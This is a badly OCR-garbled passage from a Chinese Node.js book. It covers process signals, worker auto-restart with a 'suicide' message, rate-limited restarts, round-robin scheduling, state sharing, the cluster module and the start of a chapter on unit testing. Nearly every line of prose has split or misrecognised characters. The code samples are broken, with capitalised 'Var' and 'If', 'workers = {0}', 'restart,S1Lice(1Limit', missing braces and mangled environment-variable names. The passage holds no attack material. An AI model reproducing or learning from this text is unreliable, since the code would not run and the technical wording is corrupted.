Node 提 供 了 这 些 信 号 对 应 的 信号 事件 ， 每 个 进程 都 可 以 监听 这 些 信号 事 
件 。 这 些 信号 事件 是 用 来 通知 进程 的 ， 外 个 从 号 事件 有 不 同 的 含义 ， 进 


程 在 收 到 响应 信和 号 


时 ， 应 当做 出 约定 的 行为 ， 如 stereem 是 软件 终止 信号 


进程 收 到 该 信号 时 应 当 退 出 。 示 例 代 码 如 下 所 示 : 


process.on('SIGTERM', function() { 
console.log('Got a SIGTERM, exiting...'); 
process.exit(1); 


}); 


console.log('server running with PID:', process.pid); 
process.kill(process.pid, 'SIGTERM'); 


9.3.2 ”自动 重启 


有 了 父子 进程 之 间 的 相关 事件 之 后 ， 束 可 以 在 这 些 关 系 之 间 创 建 出 需要 
的 机 制 了 。 至 少 我 们 能 够 通过 监听 子 进 程 的 exit 事 件 来 获知 其 退出 的 信 
轧 ， 接 着 前 文 的 多 进程 架构 ， 我 们 在 主 进程 上 要 加 入 一 些 子 进 程 管理 的 
机 制 ， 比 如 重新 局 动 一 个 工作 进程 来 继续 服务 。 示 意图 如 图 9-8 所 示 。 


图 9-8” 主 进程 加 入 子 进程 管理 机 制 的 示意 图 


实现 代码 如 下 所 示 : 


// master.js 
var fork = require('child_ process').fork; 
var cpus = require('os').cpus(); 

var server = require('net').createServer(); 
server.listen(1337); 


Var workers = {0}; 
var createworker = function () { 
var worker = fork(__dirname + '/worker.js'); 
// 退出 时 重新 启动 新 的 进程 
worker.on('exit', function () { 
console.log('Worker ' + worker.pid + ' exited.'); 
delete workers[worker .pid]; 
createworker(); 
}); 
// 句柄 转发 
worker.send('server', server); 
workers[worker.pid] = worker; 
console.log('Create worker. pid: ' + worker.pid); 


}; 


for (var i = 0; i < cpus.length; i++) { 
createworker(); 


} 


// 进程 自己 退出 时 ， 让 所 有 工作 进程 退出 
process.on('exit', function () { 
for (var pid in workers) { 
workers[pid].kill(); 
} 
}); 


测试 一 下 上 面 的 代码 ， 如 下 所 示 : 


$ node master.js 

Create worker. pid: 30504 
Create worker. pid: 30505 
Create worker. pid: 30506 
Create worker. pid: 30507 


通过 kili 命 令 杀 死 某 个 进程 试 试 ， 如 下 所 示 : 


$ kill 30506 


结果 是 30506 进 程 退出 后 ， 目 动 局 动 了 一 个 新 的 工作 进程 30518， 辟 体 进 
程 数 量 并 没有 发 生 改 变 ， 如 下 所 示 : 


Worker 30506 exited. 
Create worker. pid: 30518 


在 这 个 场景 中 我 们 主动 杀 死 了 一 个 进程 ， 在 实际 业务 中 ， 可 能 有 隐藏 的 
bug 导 致 工作 进程 退出 ， 那 么 我 们 需要 仔细 地 处 理 这 种 异 遂 ， 如 下 所 示 : 


// worker.js 

var http = require('http'); 

var server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('handled by child, pid is ' + process.pid + '\n'); 


了 


Var worker 
process.on('message', function (m, tcp) { 
if (m === 'server') { 


} 
}); 


worker = tcp; 
worker.on('connection', function (socket) { 


server.emit('connection', socket); 


}); 


process.on('uncaughtException', function () { 


// 停止 接收 新 的 连接 


worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 


}); 


}); 


上 述 代 码 的 处 理 流程 是 ， 一 旦 有 未 捕获 的 异 演 出现， 工作 进程 束 会 并 即 
停止 接收 新 的 连接 ; 当 所 有 连接 断 开 后 ， 退 出 进程 。 主 进程 在 侦 听 到 工 
作 进程 的 exit 后 ， 将 会 立即 启动 新 的 进程 服务 ， 以 此 保证 整个 集群 中 总 是 


有 进程 在 为 用 户 服务 的 。 


1. 


自杀 信号 

当然 上 述 代 码 存在 的 问题 是 要 等 到 已 有 的 所 有 连接 断 开 后 进程 
才 退 出 ， 在 极端 的 情况 下 ， 所 有 工作 进程 都 停止 接收 新 的 连 
接 ， 全 处 在 等 待 退出 的 状态 。 但 在 等 到 进程 完全 退出 才 重 启 的 
过 程 中 ， 所 有 新 来 的 请 求 可 能 存在 没有 工作 进程 为 新 用 户 服务 
的 情景 ， 这 会 丢掉 大 部 分 请 求 。 

为 此 需要 改进 这 个 过 程 ， 不 能 等 到 工作 进程 退出 后 才 重 局 新 的 
工作 进程 。 当 然 也 不 能 暴力 退出 进程 ， 因 为 这 样 会 导致 已 连接 
的 用 户 直 接 断 开 。 于 是 我 们 在 退出 的 流程 中 增加 一 个 自杀 
(suicide) 信和 号。 工作 进程 在 得 知 要 退出 时 ， 向 主 进程 发 送 一 个 
目 杀 信号 ， 然 后 才 停 止 接收 新 的 连接 ， 当 所 有 连接 断 开 后 才 退 
出 。 主 进程 在 接收 到 目 杀 信和 号 后 ， 立 即 创 建新 的 工作 进程 服 
务 。 代 码 改动 如 下 所 示 : 


// worker.js 
process.on('uncaughtException', function (err) { 
process.send({act: 'suicide'}); 
// 停止 接收 新 的 连接 
worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 


} 
}); 


主 进程 将 重启 工作 进程 的 任务 ， 从 exit 事件 的 处 理 函 数 中 转移 到 
message 事 件 的 处 理 函 数 中 ， 如 下 所 示 : 


var createworker = function () { 
var worker = fork(__dirname + '/worker.js'); 
// 启动 新 的 进程 
worker.on('message', function (message) { 
if (message.act === 'suicide') { 
createworker(); 


worker.on('exit', function () { 
console.log('Worker ' + worker.pid + ' exited.'); 
delete workers[worker .pid]; 


worker.send('server', server); 
workers[worker.pid] = worker; 
console.log('Create worker. pid: ' + worker.pid); 


}7 


为 了 模拟 未 捕获 的 异常 ， 我 们 将 工作 进程 的 处 理 代码 改 为 抛 出 
Sa 就 会 有 一 个 可 怜 的 工作 进程 退出 ， 如 
ZJ 


Var server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('handled by child, pid is ' + process.pid + '\n'); 
throw new Error('throw exception'); 


}); 


然后 局 动 所 有 进程 ， 如 下 所 示 : 


$ node master.js 

Create worker. pid: 48595 
Create worker. pid: 48596 
Create worker. pid: 48597 
Create worker. pid: 48598 


用 curl 工 具 测 试 效果 ， 如 下 所 示 : 


$ curl http://127.0.0.1:1337/ 
handled by child, pid is 48598 


再 回头 看 重启 信息 ， 如 下 所 示 : 


Create worker，pid: 48602 
Worker 48598 exited ， 


与 前 一 种 方案 相 比 ， 创 建新 工作 进程 在 前 ， 退 出 异常 进程 在 
后 。 在 这 个 可 怜 的 异常 进程 退出 之 前 ， 总 是 有 新 的 工作 进程 来 
替 上 它 的 岗位 。 至 此 我 们 完成 了 进程 的 平滑 重启 ， 一 旦 有 腊 季 
出 现 ， 主 进程 会 创建 新 的 工作 进程 来 为 用 户 服务 ， 旧 的 进程 一 
旦 处 理 完 已 有 连接 束 自 动 断 开 。 整 个 过 程 使 得 我 们 的 应 用 的 稳 
定性 和 健壮 性 大 大 提高 。 示 意图 如 图 9-9 所 示 。 


退出 
图 9-9 ”进程 的 自杀 和 重启 


这 里 存在 问题 的 是 有 可 能 我 们 的 连接 是 长 连接 ， 不 是 HTTP 服 务 
的 这 种 短 连接 ， 等 竺 长 连接 断 开 可 能 需要 较 久 的 时 间 。 为 此 为 
已 有 连接 的 断 开 设置 一 个 超时 时 间 是 必要 的 ， 在 限定 时 间 里 强 
制 退出 的 设置 如 下 所 示 : 


process.on('uncaughtException', function (err) { 
process.send({act: 'suicide'}); 
// 停止 接收 新 的 连接 
worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 
}); 
// 5 秒 后 退出 进程 
setTimeout(function () { 
process.exit(1); 
}, 5000); 
}); 


进程 中 如 果 出 现 未 能 捕获 的 异 徊 ， 就 意味 着 有 那么 一 段 代码 在 
健壮 性 上 是 不 合格 的 。 为 此 退出 进程 前 ， 通 过 日 志 记录 下 问题 
所 在 是 必须 要 做 的 事情 ， 它 可 以 帮 有 我 们 很 好 地 定位 和 追踪 代码 
异常 出 现 的 位 置 ， 如 下 所 示 : 


process.on('uncaughtException', function (err) { 
// 记录 日 志 
logger .error(err); 
// 发 送 自杀 信号 
process.send({act: 'suicide'}); 
// 停止 接收 新 的 连接 
worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 


}); 
// 5 秒 后 退出 进程 
setTimeout(function () { 


process.exit(1); 
}, 5000); 
}); 


限量 重启 


通过 上 自杀 信号 告知 主 进程 可 以 使 得 新 连接 总 是 有 进程 服务 ， 但 
是 依然 还 是 有 极端 的 情况 。 工 作 进 程 不 能 无 限制 地 被 重启 ， 如 
果 启 动 的 过 程 中 就 发 生 了 错误 ， 或 者 局 动 后 接 到 连接 就 收 到 错 
误 ， 会 导致 工作 进程 被 频繁 重启 ， 这 种 频繁 重启 不 属于 我 们 捕 
捉 未 知 异 常 的 情况 ， 因 为 这 种 短 时 间 内 频繁 重启 已 经 不 符合 预 
期 的 设置 ， 极 有 可 能 是 程序 编写 的 错误 。 
为 了 消除 这 种 无 意义 的 重启 ， 在 满足 一 定 规则 的 限制 下 ， 不 应 
当 反 复 重 局 。 比 如 在 单位 时 间 内 规定 只 能 重启 多 少 次 ， 超 过 限 
制 束 触发 giveup 事 件 ， 告 知 放弃 重启 工作 进程 这 个 重要 事件 。 
为 了 完成 限量 重启 的 统计 ， 我 们 引入 一 个 队列 来 做 标记 ， 在 每 
0 
和 人 小: 
// 重启 次 数 
var limit = 10; 
// 时 间 单 位 
var during = 60000; 
var restart = []; 
var isTooFrequently = function () { 

// ee a 

we 1 = A 

if (length > limit) { 


// 取出 最 后 16 个 记录 
restart = restart,S1Lice(1Limit * -1); 


} 

// 最 后 一 次 重启 到 前 16 次 重启 之 间 的 时 间 间 隔 

return restart.length >= limit && restart[restart. length - 1] - restart[0] 
during; 


bY 


Var workers = {0}; 
Var createworker = function () { 
// 检查 是 否 太 过 频繁 
If (isTooFrequently()) { 
// 触发 giveup 事 件 后 ， 不 再 重启 
process.emit('giveup', length, during); 
return; 


var worker = fork(__dirname + '/worker.js'); 
worker.on('exit', function () { 
console.log('Worker ' + worker.pid + ' exited.'); 
delete workers[worker .pid]; 
}); 
// 重新 启动 新 的 进程 
worker.on('message', function (message) { 
If (message.act === 'suicide') { 
createworker(); 


} 


}); 

// 句柄 转发 

worker.send('server', server); 
workers[worker.pid] = worker; 
console.log('Create worker. pid: ' + worker.pid); 


giveup 事 件 是 比 uncaughtException 更 严重 的 异常 事件 ? uncaughtException 
只 代表 集群 中 某 个 工作 进程 退出 ， 在 整体 性 保证 下 ， 不 会 出 现 
用 户 得 不 到 服务 的 情况 ， 但 是 这 个 uiveup 事 件 则 表示 集群 中 没有 
任何 进程 服务 了 ， 十 分 危险 。 为 了 健壮 性 考虑 ， 我 们 应 在 giveup 
事件 中 添加 重要 日 志 ， 并 让 监控 系统 监视 到 这 个 严重 错误 ， 进 


而 报警 等 。 


9.3.3 ”负载 均衡 

在 多 进程 之 间 监 听 相 同 的 端口 ， 使 得 用 户 请 求 能 够 分 散 到 多 个 进程 上 进 
行 处 理 ， 这 带 来 的 好 处 是 可 以 将 CPU 资源 都 调用 起 来 。 这 犹如 饭店 将 客人 
的 点 单 分 发 给 多 个 厨师 进行 餐 点 制作 。 既 然 涉 及 多 个 厨师 共同 处 理 所 有 
菜单 ， 那 么 保证 每 个 厨师 的 工作 量 是 一 门 学 问 ， 既 不 能 让 一 些 厨师 忙 不 
过 来 ， 也 不 能 让 一 些 厨师 闲 着 ， 这 种 保证 多 个 处 理 单 元 工作 量 公平 的 策 
略 叫 负 载 均 衡 。 

Node 默 认 提供 的 机 制 是 采用 操作 系统 的 抢占 式 策 略 。 所 谓 的 抢占 式 就 是 
在 一 堆 工 作 进程 中 ， 朵 着 的 进程 对 到 来 的 请 求 进行 争 抢 ， 谁 抢 到 谁 服 
> 

一 般 而 言 ， 这 种 抢占 式 策略 对 大 家 是 公平 的 ， 各 个 进程 可 以 根据 自己 的 
繁忙 度 来 进行 抢占 。 但 是 对 于 Node 而 言 ， 需 要 分 清 的 是 它 的 繁忙 是 由 
CPU、JIO 两 个 部 分 构成 的 ， 影 响 抢占 的 是 CPU 的 繁忙 度 。 对 不 同 的 业 
务 ， 可 能 存在 IO 繁忙 ， 而 CPU 较为 空闲 的 情况 ， 这 可 能 造成 某 个 进程 能 
够 抢 到 较 多 请 求 ， 形 成 负载 不 均衡 的 情况 。 

为 此 Node 在 v0.11 中 提供 了 一 种 新 的 策略 使 得 负载 均衡 更 合理 ， 这 种 新 的 
策略 叫 Round-Robin， 又 叫 轮 叫 调度 。 轮 叫 调度 的 工作 方式 是 由 主 进程 接 
受 连 接 ， 将 其 依次 分 发 给 工作 进程 。 分 发 的 策略 是 在 N 个 工作 进程 中 ， 每 
ee 全 秆 周生生 的 放 
1 


// 启用 Round-Robin 

cluster.schedulingPolicy = cluster.SCHED_RR 
启用 Round-Robin 

cluster.schedulingPolicy = cluster.SCHED_NONE 


或 者 在 环境 变量 中 设置 Nope_ciustER_scHEp_poLrtcY 的 值 ， 如 下 所 示 : 


export NODE_ CLUSTER_ SCHED_ POLICY=rr 
export NODE_CLUSTER_SCHED_POLICY=none 


Round-Robin 非 常 简单 ， 可 以 避免 CPU 和 IO 繁忙 差异 导致 的 负载 不 均衡 。 
Round-Robin 策 略 也 可 以 通过 代理 服务 器 来 实现 ， 但 是 它 会 导致 服务 器 上 
消耗 的 文件 描述 符 是 平常 方式 的 两 倍 。 

9.3.4 ”状态 共享 

在 第 5 章 中 ， 我 们 提 到 在 Node 进 程 中 不 宜 存放 太 多 数据 ， 因 为 它 会 加 重 垃 
圾 回收 的 负担 ， 进 而 影响 性 能 。 同 时 ，Node 也 不 允许 在 多 个 进程 之 间 共 
享 数据 。 但 在 实际 的 业务 中 ， 往 往 需 要 共享 一 些 数据 ， 壁 如 配置 数据 ， 
这 在 多 个 进程 中 应 当 是 一 致 的 。 为 此 ， 在 不 允许 共享 数据 的 情况 下 ， 我 
们 需要 一 种 方案 和 机 制 来 实现 数据 在 多 个 进程 之 间 的 共享 。 


1. ”第 三 方 数 据 存储 
解决 数据 共 至 最 直 授 、 简 单 的 方式 束 是 通过 第 三 方 来 进行 数据 
存储 ， 比 如 将 数据 存放 到 数据 库 、 磁 盘 文 件 、 缓 存 服务 (如 
Redis) 中 ， 所 有 工作 进程 启动 时 将 其 读 取 进 内 存 中 。 但 这 种 方 
式 存在 的 问题 是 如 条 数 据 发 生 改 变 ， 还 需要 一 种 机 制 通知 到 各 
个 子 进程 ， 使 得 它们 的 内 部 状态 也 得 到 更 新 。 
实现 状态 同步 的 机 制 有 两 种 ， 一 种 是 各 个 子 进程 去 向 第 三 方 进 
行 定时 轮 询 ， 示 意图 如 图 9-10 所 示 。 
定时 轮 询 带 来 的 问题 是 轮 询 时 间 不 能 过 密 ， 如 采 子 进程 过 多 ， 
会 形成 并 发 处 理 ， 如 果 数 据 没 有 发 生 改变 ， 这 些 轮 询 会 没有 意 
义 ， 日 日 增 加 查询 状态 的 开销 。 如 有 果 轮 询 时 间 过 长 ， 数 据 发 生 
改变 时 ， 不 能 及 时 更 新 到 子 进程 中 ， 会 有 一 定 的 延迟 。 


主 进程 


上 | 
上 | 


图 9-10 ”定时 轮 询 示意 图 

主动 通知 

一 种 改进 的 方式 是 当 数 据 发 生 更 新 时 ， 主 动 通知 子 进 程 。 当 
然 ， 即 使 是 主动 通知 ， 也 需要 一 种 机 制 来 及 时 获取 数据 的 改 
变 。 这 个 过 程 仍 然 不 能 脱离 轮 询 ， 但 我 们 可 以 减少 轮 询 的 进程 
数量 ， 我 们 将 这 种 用 来 发 送 通知 和 查询 状态 是 否 更 改 的 进程 叫 
做 通知 进程 。 为 了 不 混合 业务 逻辑 ， 可 以 将 这 个 进程 设计 为 只 
进行 轮 询 和 通知 ， 不 处 理 任何 业务 逻辑 ， 示 意图 如 图 9-11 所 示 。 


config 
(db/file/cache ) 


图 9-11 ”主动 通知 示意 图 

这 种 推送 机 制 如 果 按 进程 间 信 号 传递 ， 在 跨 多 台 服 务 器 时 会 无 
效 ， 是 故 可 以 考虑 采用 TCP 或 UDP 的 方案 。 进 程 在 启动 时 从 通知 
服务 处 除了 读 取 第 一 次 数据 外 ， 还 将 进程 信息 注册 到 通知 服务 
处 。 一 旦 通过 轮 询 发 现 有 数据 更 新 后 ， 根 据 注 册 信 息 ， 将 更 新 
后 的 数据 发 送 给 工作 进程 。 由 于 不 涉及 太 多 进程 去 向 同一 地 方 
进行 状态 查询 ， 状 态 响 应 处 的 压力 不 至 于 太 过 巨大 ， 单 一 的 通 
知 服务 轮 询 带 来 的 压力 并 不 大 ， 所 以 可 以 将 轮 询 时 间 调 整 得 较 
短 ， 一 旦 发 现 更 新 ， 就 能 实时 地 推送 到 各 个 子 进 程 中 。 


9.4 Cluster 模块 

前 文 介绍 了 child_process 模 块 中 的 大 多 数 细 方 ， 以 及 如 何 通 过 这 个 模块 
构建 强大 的 单机 集群 。 如 果 熟 知 Node， 也 许 你 会 惊讶 为 何 迟 迟 不 谈 
cluster 模 块 。 上 述 提 及 的 问题 ，Node 在 v0.8 版 本 时 新 增 的 cluster 模 块 就 
能 解决 。 在 v0.8 版 本 之 前 ， 实 现 多 进程 架构 必须 通过 enild_process 来 实 
现 ， 要 创建 单机 Node 集 群 ， 由 于 有 这 么 多 细 万 需要 处 理 ， 对 普通 工程 
师 而 言 是 一 件 相 对 较 难 的 工作 ， 于 是 v0.8 时 直接 引入 了 eauster 模 块 ， 用 
以 解决 多 核 CPU 的 利用 率 问题 ， 同 时 也 提供 了 较 完 善 的 API， 用 以 处 
理 进 程 的 健壮 性 问题 。 

对 于 本 章 开头 提 到 的 创建 Node 进 程 集群 ，cluster 实 现 起 来 也 是 很 轻松 
的 事情 ， 如 下 所 示 : 


// cluster.js 
var cluster = require('cluster'); 


cluster.setupMaster({ 
exec: "worker.js" 


}); 


var cpus = require('os').cpus(); 

for (var i = 0; i < cpus.length; i++) { 
cluster.fork(); 

} 


执行 node cluster.js 将 会 得 到 与 前 文 创建 子 进程 集群 的 效果 相同 。 整 官 
方 的 文档 而 言 ， 它 更 喜欢 如 下 的 形式 作为 示例 : 
var cluster = require('cluster'); 


var http = require('http'); 
var numCPUs = require('os').cpus().length; 


if (cluster.isMaster) { 
// Fork workers 
for (var i = 0; i < numCPUs; i++) { 
cluster.fork(); 
} 


cluster.on('exit', function(worker, code, signal) { 
console.log('worker ' + worker.process.pid + ' died'); 

}); 

else { 

// Workers can share any TCP connection 

// In this case its a HTTP server 

http.createServer(function(req, res) { 
res.writeHead(200); 
res.end("hello world\n"); 

}).listen(8000); 


ww 


在 进程 中 判断 是 主 进程 还 是 工作 进程 ， 主 要 取决 于 环境 变量 中 是 否 有 
NODE_UNIQUE_ID, 如 下 所 示 : 


cluster.isworker = ('NODE_UNIQUE_ ID' in process.env); 
cluster.isMaster = (cluster.isWorker === false)， 


但 是 官方 示例 中 忽而 判断 cjuster .isMmaster 所 忽而 判断 asEapisNopKeE， 对 于 
代码 的 可 读 性 十 分 差 。 我 建议 用 siuster.setupmaster0) 这 个 API， 将 主 进 程 
和 工作 进程 从 代码 上 完全 和 剥离， 如 同 sena() 方 法 看 起 来 直接 将 服务 器 从 
主 进程 发 送 到 子 进 程 那样 神奇 ， 和 剥离 代码 之 后 ， 长 至 都 感觉 不 到 主 进 
程 中 有 任何 服务 套 相 关 的 代码 。 

通过 masseasaempiassagw 他 | 奸 子 进程 而 不 是 使 用 cluster.fork()， 程序 结构 
不 再 姿 乱 ， 逻 辑 分 明 ， 代 码 的 可 读 性 和 可 维护 性 较 好 。 

9.4.1 ” Cluster 工作 原理 

事实 上 cluster 模 块 就 是 child_process 和 和 net 模块 的 组 合 应 用 9 ESTSEES 局 动 
时 ， 如 同 我 们 在 9.2.3 市 里 的 代码 一 样 ， 它 会 在 内 部 局 动 TCP 服 务 右 ， 
在 cluster.fork() 子 进程 时 ， 将 这 个 TCP 服 务 器 端 socket 的 文件 描述 符 发 送 
给 工作 进程 。 如 果 进 程 是 通过 cluster.fork() 复 制 出 来 的 ， 那 么 它 的 环境 
变量 里 残存 在 op unraus zp， 如 有 打工 作 进 程 中 存在 listen0 侦 听 网 络 端口 
的 调用 ， 它 将 拿 到 该 文件 描述 符 ， 通 过 so_REusEAppR 端 口 重 用 ， 从 而 实现 
多 个 子 进 程 共享 端口 。 对 于 普通 方式 局 动 的 进程 ， 则 不 存在 文件 描述 
和 从 传递 共 至 等 事情 。 

在 cluster 内 部 隐 式 创建 TCP 服 务 器 的 方式 对 使 用 者 来 说 十 分 透明 ， 但 也 
正 是 这 种 方式 使 得 它 无 法 如 直接 使 用 cnilq_process 那 样 灵活 。 在 cluster 模 
块 应 用 中 ， 一 个 主 进 程 只 能 管理 一 组 工作 进程 ， 如 图 9-12 所 示 。 


图 9-12 ”在 cluster 模 块 应 用 中 ， 一 个 主 进程 只 能 管理 一 组 工作 进程 


对 于 目 行 通过 cnild_process 来 操作 时 ， 则 可 以 更 灵活 地 控制 工作 进程 ， 
甚至 控制 多 组 工作 进程 。 其 原因 在 于 目 行 通过 enild_process 操 作 子 进程 
时 ， 可 以 隐 式 地 创建 多 个 TCP 服 务 器 ， 使 得 子 进 程 可 以 共享 多 个 的 服 
务 回 端 socket， 如 图 9-13 所 示 。 


图 9-13 自行 通过 chilq_process 控 制 多 组 工作 进程 
9.4.2 ” ”Cluster 事件 
对 于 健壮 性 处 理 ，canuster 模 块 也 骏 露 了 相当 多 的 事件 。 


。 fork: 复制 一 个 工作 进程 后 触发 该 事件 。 

和 online: 复制 好 一 个 工作 进程 后 ， 工作 进程 主动 发 送 一 条 online 
消息 给 主 进程 ， 主 进程 收 到 消息 后 ， 触 发 该 事件 。 

© listening: 工作 进程 中 调用 1isten() (共享 了 服务 器 端 Socket) 
后 ， 发 送 一 条 listening 消 息 给 主 进 程 ， 主 进程 收 到 消息 后 ， 解 
发 该 事件 。 

® ee 主 进程 和 工作 进程 之 间 IPC 通 道 断 开 后 会 触发 该 事 


。 exit: 有 工作 进程 退出 时 触发 该 事件 。 
@ Setup : apisEagssciihaseseoj 九 行 后 触发 该 事件 2 


这 些 事件 大 多 跟 enila_process 模 块 的 事件 相关 ， 在 进程 间 消 息 传 递 的 基 
础 上 完成 的 封装 。 这 些 事件 对 于 增强 应 用 的 健壮 性 已 经 足够 了 。 


9.5 ”总结 


CN 一品 
尽管 Node 从 单线 程 的 角度 来 讲 它 有 够 脆弱 的 : 既 不 能 充分 利用 多 核 
CPU 资源 ， 稳 定性 也 无 法 得 到 保障 。 但 是 群体 的 力量 是 强大 的 ， 通 过 
简单 的 主 从 模式 ， 就 可 以 将 应 用 的 质量 提升 一 个 档次 。 在 实际 的 复 灯 
业务 中 ， 我 们 可 能 要 局 动 很 多 子 进程 来 处 理 任务 ， 结 构 甚 至 远 比 主 从 
模式 复杂 ， 但 古 每 个 子 进 程 应 当 是 简单 到 只 做 好 一 件 事 ， 然 后 通过 进 
程 间 通信 技术 将 它们 连接 起 来 即 可 。 这 符合 Unix 的 设计 理念 ， 每 个 进 
(I 并 做 好 一 件 事 ， 将 复杂 分 解 为 答 单 ， 将 简单 组 合成 强 


尽管 通过 child_process 模 块 可 以 大 幅 提 升 Node 的 稳定 性 ， 0 

程 出 现 问题 ， 所 有 子 进 程 将 会 失去 管理 。 在 Node 的 进程 管理 之 外 ， 

需要 用 监听 进程 数量 或 监听 日 志 的 方式 确保 整个 系统 的 稳定 性 ， 如 全 

0 也 能 及 时 得 到 监控 警报 ， 使 得 开发 者 可 以 及 时 处 理 
党 。 


9.6 参考 资源 
本 章 参 考 的 资源 如 下 : 


。 http://nodejs.org/docs/latest/api/child_process.html 

。 http://nodejs.org/docs/latest/api/cluster.html 

。 https://github.com/aleafs/pm Process 

。 http://en.wikipedia.org/wiki/Inter-process communication 
. http://en.wikipedia.org/wiki/Pipeline_(Unix) 

。 http:/www.w3.org/TR/workers/ 


。 http://man7.org/linux/man-pages/man7/unix.7.html 


第 10 章 测试 

在 使 用 Node 进 行 实际 的 项 目 开 发 之 前 ， 我 内 心 也 曾 十 分 志 上 下 。 尽管 
JavaScript 历 史 悠 入 ， 但 相 较 成 熟 的 后 端 语 言 而 言 ，Node 尚 且 算 是 新 普 
同学 。 甚 至 对 于 前 端 ， 因 为 各 种 各 样 的 原因 ，JavaScript 的 测试 都 十 分 
少 。Node 编 写 的 在 线 产 品 ， 在 成 千 上 万 用 户 面 前 能 否 具备 恨 好 的 质量 
傈 证， 我 是 心 存 疑问 的 。 

从 最 早 写 出 的 代码 让 目 己 睡 不 着 觉 ， 无 法 精确 定位 bug 到 撒 位 于 一 堆 程 
序 里 的 哪个 位 置 ， 到 后 来 很 踏实 地 面 对 上 自己 产 出 的 代码 ， 对 目 己 代码 
的 了 解 如 手心 纹路 那么 清晰 明了 。 从 面 对 问 题 时 的 被 动 到 主动 ， 测 试 
在 这 个 演变 过 程 中 起 到 了 至 关 重 要 的 作用 。 

测试 的 意义 在 于 ， 在 用 户 消费 产 出 的 代码 之 前 ， 开 发 者 首先 消费 它 ， 
给 予 其 重要 的 质量 保证 。 这 里 值得 提醒 的 是 ，JavaScript 开 发 者 需要 转 
变 观 念 ， 正 视 自 己 的 代码 ， 对 目 己 产 出 的 代码 负责 。 为 自己 的 代码 写 
测 斌 用例 则 是 一 种 行 之 有 效 的 方法 ， 它 能 够 让 开发 者 明确 掌握 到 代码 
的 行为 和 性 能 等 。 

测试 包含 单元 测试 、 性 能 测试 、 安 全 测试 和 功能 测试 等 几 个 方面 ， 本 
章 将 从 Node 实 践 的 角度 来 介绍 单元 测试 和 性 能 测试 。 


莫 芭 


10.1 单元 测试 

单元 测试 在 软件 项 目 中 扮演 着 举足轻重 的 角色 ， 是 几 种 软件 质量 保证 的 方法 
中 投入 产 出 比 最 高 的 一 种 。 尽 管 在 过 去 的 JavaScript 开 发 中 ， 绝 大 多 数 人 都 忽 
视 了 这 个 环节 ， 但 今天 Node 的 盛行 让 我 们 不 得 不 重新 审视 这 块 领域 。 

10.1.1 单元 测试 的 意义 

最 初 接触 单元 测试 时 ， 很 多 开发 者 都 很 疑惑 ， 自 己 写 的 代码 ， 自 己 写 测 试 ， 
这 件 事 的 意义 何在 ? 有 的 团队 则 配备 了 专门 的 测试 工程 师 帮助 开发 者 测试 代 
码 。 这 里 第 一 种 对 自己 写 的 代码 不 在 意 的 行为 是 开发 者 对 自己 测试 自己 代码 
心 存 侥 考 ， 认 为 测试 是 一 种 形式 ， 小 算盘 是 既然 是 形式 ， 那 为 何 要 去 实践 。 
如 果 强 迫 实践 ， 那 就 随意 写 写 ， 蒙 混 过 关 吧 ， 这 使 得 开发 者 不 正视 测试 代 

码 ， 进 而 不 正视 自己 的 代码 。 配 备 专 门 的 测试 工程 师 则 让 开发 者 对 测试 人 员 
产生 依赖 ， 完 全 不 关心 自己 代码 的 测试 。 

这 里 需要 倡导 的 是 ， 开 发 者 应 该 吃 自己 的 狗 粮 。 项 目 成 员 共 同 开发 出 来 的 代 

码 会 构成 项 目的 产品 ， 开 发 者 写 出 来 的 代码 是 开发 者 自己 的 产品 。 要 保证 产 
品 的 质量 ， 束 应 该 有 相应 的 手段 去 验证 。 对 于 开发 者 而 言 ， 单 元 测试 就 是 最 

基本 的 一 种 方式 。 如 果 开 发 者 不 自己 测试 代码 ， 那 必然 要 面 对 如 下 问题 。 


1. 测试 工程 师 是 合 可 依赖 ? 


这 里 涉及 的 问题 有 两 个 层面 。 第 一 个 层面 是 测试 工程 师 是 否 熟 悉 

Node 领 域 ， 0 0 
试 ， 有 可 能 变 为 数 衍 的 行为 这 对 质量 保证 的 目标 背道而驰 。 
ee ee 定 覆 盖 到 开发 
者 的 代码 ， 从 而 使 测试 用 例 的 维护 成 本 变 

2 第 三 方 代码 是 否 可 信赖 ? 
对 于 Node 开 源 社 区 而 言 (共有 3 万 多 模块 ) ， 作 为 一 个 不 知名 的 开发 
者 ， 其 产 出 的 模块 如 果 连 单元 测试 都 没有 提供 ， 使 用 者 在 挑选 模块 
时 ， 内 心 也 会 内 过 多 个 “* 靠 谱 吗 ” 的 疑问 。 

在 产品 迭代 过 程 中 ， 如 何 继续 保证 质量 ? 


单元 测试 的 意义 在 于 每 个 测试 用 例 的 和 覆盖 都 是 一 种 可 能 的 承诺 。 如 
朵 API 升 级 时 ， 测 试用 例 可 以 很 好 地 检查 是 否 向 下 兼容 。 对 于 各 种 可 
能 的 输入 ， 一 旦 测试 履 盖 ， 都 能 明确 它 的 输出 。 代 码 改 动 后 ， 可 以 
通过 测试 结果 判断 代码 的 改动 是 否 影 响 已 确定 的 结果 。 


对 于 上 述 问题 ， 如 采 你 的 答案 是 不 关心， 那么 共 喜 你 ， 你 的 项 目 只 能 供 短 时 
间 玩 玩 ， 甚 至 只 是 个 演示 产品 

Re 
会 影响 开发 者 的 项 目 进度 。 这 个 答案 是 肯定 的 ， 因 为 产 出 品质 可 以 久 经 考验 
的 产品 ， 必 然 要 花费 较 多 的 精力 。 如 果 只 是 豆腐 洽 工 程 ， 目 然 可 以 快速 产 


才 泣 


a 区 别 在 于 后 续 维 扩 的 差异 ， 因为 有 单元 测试 的 质量 保证 ， 可 以 放心 地 增 
加 和 删除 功能 。 后 者 则 会 陷入 举步维艰 的 维护 之 路 ， 拆 东 墙 补 西 墙 ， 开 发 者 
渐渐 变 得 只 想 做 新 项 目 ， 而 旧 的 项 目 最 后 变 得 不 可 维护 ， 或 者 不 敢 维 护 。 
至 到 项 目下 线 时 ， 依 然 充斥 幽灵 代码 和 重复 代码 。 

单元 测试 只 是 在 早期 会 多 花费 一 定 的 成 本 ， 但 这 个 成 本 要 远 远 低 于 后 期 深 陷 
